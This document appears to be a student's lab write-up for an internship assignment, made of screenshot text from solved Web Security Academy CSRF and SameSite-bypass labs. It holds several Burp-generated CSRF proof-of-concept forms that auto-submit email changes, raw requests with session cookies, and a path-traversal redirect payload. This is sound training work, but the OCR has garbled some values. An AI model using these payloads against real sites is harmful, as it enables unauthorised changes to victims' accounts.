

Internship Assignment
Cyber Security and Digital Forensics

Assignment 8: CSRF+SSTI

Kiran Mohan

Web Security Academy

CSRF vulnerability with no defenses

LAB Solved

Back to lab description »

Congratulations, you solved the lab!

Share your skills! Continue learning »

Home | My account | Log out

My Account

Your username is: wiener
Your email is: test3@test.ca

Email

Update email

CSRF PoC generator

Actions

Inspector

Query Parameters (0)

Body Parameters (1)

Request Cookies (1)

Request Headers (13)

Search...

0 matches

Test in browser Copy HTML Close

Web Security Academy

CSRF where Referer validation depends on header being present

LAB Solved

Back to lab description »

Congratulations, you solved the lab!

Share your skills! Continue learning »

Craft a response

URL: <https://exploit-aca91fea1fd72a5680446f500170005b.web-security-academy.net/exploit>

HTTPS

File: /exploit

Head:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Body:

```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<head>
  <meta name="referrer" content="never">
</head>
```

CSRF PoC generator

Inspector

Query Parameters (0)

Body Parameters (1)

Request Cookies (1)

Request Headers (13)

Search...

0 matches

Test in browser Copy HTML Close

Web Security Academy

CSRF where token is duplicated in cookie

LAB Solved

Back to lab description

Congratulations, you solved the lab!

Share your skills! Continue learning

Craft a response

URL: <https://exploit-ac051f701e1ca9208023477b01e009c.web-security-academy.net/exploit>

HTTPS

File: /exploit

Head: HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8

Body: <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script>

Request to: <https://acal1f1e5ca9c980cf477d008b004a.web-security-academy.net>

Inspector

Query Parameters (0)

Body Parameters (2)

Request Cookies (2)

Request Headers (13)

CSRF HTML:

```
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://acal1f1e5ca9c980cf477d008b004a.web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="test3t64;testi#46;ca" />
  <input type="hidden" name="csrf" value="test" />
  <input type="submit" value="Submit request" />
</form>

</body>
</html>
```

Web Security Academy

CSRF where token is not tied to user session

LAB Solved

Back to lab description

Congratulations, you solved the lab!

Share your skills! Continue learning

Home | My account | Log out

My Account

Your username is: wiener

Your email is: test2@test.ca

Email

Update email

Request to: <https://target-ac941f081e38bc8480279ef400d5002f.web-security-academy.net>

Inspector

Query Parameters (0)

Body Parameters (2)

Request Cookies (1)

Request Headers (13)

CSRF HTML:

```
<!-- generated by Burp Suite Professional -->
<script>history.pushState('', '', '/')</script>
<form action="https://target-ac941f081e38bc8480279ef400d5002f.web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="test2t64;testi#46;ca" />
  <input type="hidden" name="csrf" value="v6t15cTgs8JEYQztFkGAFecN2mq5TYWR" />
  <input type="submit" value="Submit request" />
</form>

</body>
</html>
```

Web Security Academy

CSRF where token is tied to non-session cookie

LAB Solved

Congratulations, you solved the lab!

Share your skills! Continue learning

Craft a response

URL: <https://exploit-ac251f361fc50b698005e57b013d063.web-security-academy.net/exploit>

HTTPS

File: /exploit

Head: HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8

Body: <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://ac151f291fb50bc28036e5bb00f6000b.web-security-academy.net" method="POST"> <input type="hidden" name="email" value="test3i#64;test4#6rca" /> <input type="hidden" name="csrf" value="P2xR00Tp3jqdM0u1L2KJlQqpf1Q0" /> <input type="submit" value="Submit request" /> </form> </body> </html>

request to: <https://ac151f291fb50bc28036e5bb00f6000b.web-security-academy.net>

POST /my-account/change-email HTTP/1.1

Host: ac151f291fb50bc28036e5bb00f6000b.web-security-academy.net

Cookie: session=TEVRFxuyiU2iaC8zPgDzSwqT32GbQ; csrfKey=ho7G0xMe4EZSrQ8x20sB0qyW0ey9bKH

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

RFHTML: <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://ac151f291fb50bc28036e5bb00f6000b.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="test3i#64;test4#6rca" /> <input type="hidden" name="csrf" value="P2xR00Tp3jqdM0u1L2KJlQqpf1Q0" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Web Security Academy

CSRF where token validation depends on request method

LAB Solved

Congratulations, you solved the lab!

Share your skills! Continue learning

Craft a response

URL: <https://exploit-acd11f6b1ecde4081151786010e0000.web-security-academy.net/exploit>

HTTPS

File: /exploit

Head: HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8

Body: <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://target-ac5b1f6d1e3eebf812c17d600b500bc.web-security-academy.net" method="POST"> <input type="hidden" name="email" value="test3i#64;test4#6rca" /> <input type="submit" value="Submit request" /> </form> </body> </html>

request to: <https://ac5b1f6d1e3eebf812c17d600b500bc.web-security-academy.net>

POST /my-account/change-email?email=test40test.ca HTTP/1.1

Host: ac5b1f6d1e3eebf812c17d600b500bc.web-security-academy.net

Cookie: session=TEVRFxuyiU2iaC8zPgDzSwqT32GbQ; csrfKey=ho7G0xMe4EZSrQ8x20sB0qyW0ey9bKH

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

RFHTML: <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://target-ac5b1f6d1e3eebf812c17d600b500bc.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="test3i#64;test4#6rca" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Web Security Academy

CSRF where token validation depends on token being present

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! Continue learning

Home | My account | Log out

My Account

Your username is: wiener
Your email is: test3@test.ca

Email

Update email

change-email* method

0 matches

Copy HTML Close

104 bytes | 231 millis

```
1 Lab #3 - CSRF where token validation depends on token being present
2
3 Vulnerable parameter - email change functionality
4
5 Goal - exploit CSRF to change email address
6
7 Creds - wiener:peter
8
9 Analysis:
10
11 In order for a CSRF attack to be possible:
12 - A relevant action: change a users email
13 - Cookie-based session handling: session cookie
14 - No unpredictable request parameters: csrf token is not mandatory
15
16 Testing CSRF Tokens:
17 1. Remove the CSRF token and see if application accepts request
18 2. Change the request method from POST to GET
19
```

Web Security Academy

CSRF with broken Referer validation

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! Continue learning

Craft a response

URL: <https://exploit-ac291fdd1ffc073180b8a44e01870016.web-security-academy.net/exploit>

HTTP

File: /exploit

Head:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referer-Policy: unsafe-url

Body:

```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/7ac741ffc1f0c0780801ba43f00eb004b.web-security-academy.net')</script>
```

Exploit Server: CSRF with broken Referer validation - Mozilla Firefox

URL: <https://exploit-ac291fdd1ffc073180b8a44e01870016.web-security-academy.net/exploit>

CSRF PoC generator

URL: <https://ac741ffc1f0c0780801ba43f00eb004b.web-security-academy.net>

Method: HTTP/1.1

Path: /my-account/change-email

Request Headers (13)

Request Cookies (1)

Body Parameters (1)

Query Parameters (0)

Inspector

Test in browser Copy HTML Close

Congratulations, you solved the lab!

Share your skills! Continuous learning >

Home | My account | Log out

My Account

Your username is: wiener

Your email is: hacker111@exploit.com

Email

Update email

Congratulations, you solved the lab!

Share your skills! Continuous learning >

Craft a response

URL: https://exploit-0a6d00a504a328ab81ab1ba601c20099.exploit-server.net/exploit

HTTPS

File:

/exploit

Head:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Body:

```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a5800d4045728d481fd1c4a008c00d1.web-security-academy.net/my-account/change-email" method="GET">
<input type="hidden" name="_method" value="POST">
<input type="hidden" name="email" value="evil&#64;abnormal&#45;user&#46;net" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState("", "", "/");
document.forms[0].submit();
</script>
</body>
```

SameSite Strict bypass via client-side redirect

LAB Solved

WebSecurity Academy

SameSite Strict bypass via client-side redirect

Back to lab description >>

Congratulations, you solved the lab!

Share your skills!

Continue learning >>

Craft a response

URL: `https://exploit-0ad6008b04d0a23080e6119401ab0017.exploit-server.net/exploit`

HTTPS



File:

`/exploit`

Head:

`HTTP/1.1 200 OK`
`Content-Type: text/html; charset=utf-8`

Body:

`<script>`
`window.location = "https://0abf001f04cfa21380e512b2003500b3.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?"`

SameSite Strict bypass via sibling domain

LAB Solved

WebSecurity Academy

SameSite Strict bypass via sibling domain

Back to lab description >>

Congratulations, you solved the lab!

Share your skills!

Continue learning >>

[Home](#) | [My account](#) | [Live chat](#) | [Log out](#)

My Account

Your username is: carlos

Email

Update email